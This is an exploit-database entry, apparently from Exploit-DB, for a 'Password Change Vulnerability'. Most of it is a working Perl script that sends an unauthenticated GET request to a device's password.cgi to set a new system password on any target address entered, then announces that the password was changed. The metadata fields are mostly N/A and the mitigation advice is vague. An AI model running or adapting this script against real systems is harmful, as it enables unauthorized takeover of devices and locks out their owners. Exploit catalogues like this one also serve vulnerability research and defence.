header-logo
Suggest Exploit
vendor:
N/A
by:
d3c0der
7,5
CVSS
HIGH
Password Change Vulnerability
200
CWE
Product Name: N/A
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Linux
2020

Password Change Vulnerability

This exploit is related to a Password Change Vulnerability in which an attacker can change the password of a system by exploiting a vulnerable CGI script. The attacker can use a perl script to send a GET request to the vulnerable CGI script with the new password as a parameter. The script will then change the password of the system.

Mitigation:

The best way to mitigate this vulnerability is to ensure that the CGI scripts are properly configured and are not vulnerable to any kind of attack.
Source

Exploit-DB raw data:

#!/usr/bin/perl
#d3c0der


use HTTP::Request;
use LWP::UserAgent;

 

print "= Target : ";
$ip=<STDIN>;
chomp $ip;
print "= new password : ";
$npass=<STDIN>;
chomp $npass;

if ( $ip !~ /^http:/ ) {
$ip = 'http://' . $ip;
}
if ( $ip !~ /\/$/ ) {
$ip = $ip . '/';
}
print "\n";

print "->attacking , plz wait ! : $ip\n";
 

 

@path1=("password.cgi?sysPassword=$npass");

foreach $ways(@path1){

$final=$ip.$ways;

my $req=HTTP::Request->new(GET=>$final);
my $ua=LWP::UserAgent->new();
$ua->timeout(30);
my $response=$ua->request($req);

 
}
 
print "[-] password changed to $npass \n";

Navigation

Suggest Exploit

Services By CQR